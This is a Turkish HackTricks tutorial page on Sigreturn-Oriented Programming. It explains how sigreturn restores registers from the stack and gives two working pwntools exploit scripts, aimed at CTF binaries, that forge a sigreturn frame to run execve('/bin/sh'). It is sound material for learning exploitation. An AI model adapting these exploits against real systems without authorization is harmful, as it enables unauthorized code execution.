SROP - Sigreturn-Oriented Programming
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Sigreturn
, bir sinyal işleyicisinin yürütmesini tamamladıktan sonra temizlemek için kullanılan özel bir syscall'dır. Sinyaller, işletim sistemi tarafından bir programa gönderilen kesintilerdir ve genellikle olağanüstü bir durumun meydana geldiğini belirtmek için kullanılır. Bir program bir sinyal aldığında, sinyali işlemek için geçici olarak mevcut işini durdurur ve bu işlem için özel olarak tasarlanmış bir sinyal işleyici kullanır.
Sinyal işleyici tamamlandıktan sonra, programın önceki durumuna devam etmesi gerekir, sanki hiçbir şey olmamış gibi. İşte bu noktada sigreturn
devreye girer. Programın sinyal işleyicisinden dönmesine yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (fonksiyon çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler.
İlginç olan, sigreturn
'ın programın durumunu nasıl geri yüklediğidir: tüm CPU'nun kayıt değerlerini yığında saklayarak bunu yapar. Sinyal artık engellenmediğinde, sigreturn
bu değerleri yığından çıkarır, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığının mevcut üst kısmını gösteren yığın işaretçi kaydı (RSP) dahil olmak üzere tüm kayıtları içerir.
caution
Bir ROP zincirinden sigreturn
syscall'ını çağırmak ve yüklemek istediğimiz kayıt değerlerini yığına eklemek, tüm kayıt değerlerini kontrol etmemizi ve dolayısıyla örneğin execve
syscall'ını /bin/sh
ile çağırmamızı mümkün kılar.
Bu durumun, diğer Ret2syscall'ları çağırmak için parametreleri kontrol etmeyi çok daha kolay hale getiren bir Ret2syscall türü olduğunu unutmayın:
Eğer merak ediyorsanız, bu daha sonra değerleri geri almak için yığında saklanan sigcontext yapısıdır (şeması buradan):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
Daha iyi bir açıklama için ayrıca kontrol edin:
Örnek
Burada bir örnek bulabilirsiniz burada signeturn çağrısının ROP aracılığıyla oluşturulduğu (rxa'ya 0xf
değeri koyarak) gösterilmektedir, ancak buradan itibaren son istismar budur:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Ayrıca buradan istismar edin kontrol edin, burada ikili dosya zaten sigreturn
çağrıyordu ve bu nedenle ROP ile bunu inşa etmek gerekmez:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Diğer Örnekler ve Referanslar
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Yığıta yazma ve ardından
sigreturn
syscall'ini çağıran bir Assembly ikili dosyası. Yığıta bir ret2syscall yazmak ve ikilinin belleğinde bulunan bayrağı okumak mümkündür. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Yığıta yazma ve ardından
sigreturn
syscall'ini çağıran bir Assembly ikili dosyası. Yığıta bir ret2syscall yazmak mümkündür (ikili dosya/bin/sh
dizesine sahiptir). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 bit, relro yok, canary yok, nx, pie yok.
gets
fonksiyonunu kötüye kullanarak basit bir buffer overflow. ret2syscall gerçekleştiren gadget eksikliği. ROP zinciri,.bss
'ye/bin/sh
yazarak tekrar gets'i çağırır,alarm
fonksiyonunu kullanarak eax'ı0xf
olarak ayarlayıp bir SROP çağırır ve bir shell çalıştırır. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- 64 bit assembly programı, relro yok, canary yok, nx, pie yok. Akış, yığıta yazma, birkaç kaydı kontrol etme ve bir syscall çağırma imkanı sağlar ve ardından
exit
çağrılır. Seçilen syscall, kayıtları ayarlayacak veeip
'yi önceki syscall talimatını çağırmak için hareket ettirecek birsigreturn
'dır ve ikili alanırwx
olarak ayarlamak içinmemprotect
çağırır ve ESP'yi ikili alanda ayarlar. Akışı takip ederek, program tekrar ESP'ye okuma çağıracak, ancak bu durumda ESP bir sonraki talimata işaret edecektir, böylece bir shellcode geçerek onu bir sonraki talimat olarak yazacak ve çalıştıracaktır. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP, bir shellcode'un yerleştirildiği yere (memprotect) yürütme ayrıcalıkları vermek için kullanılır.
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.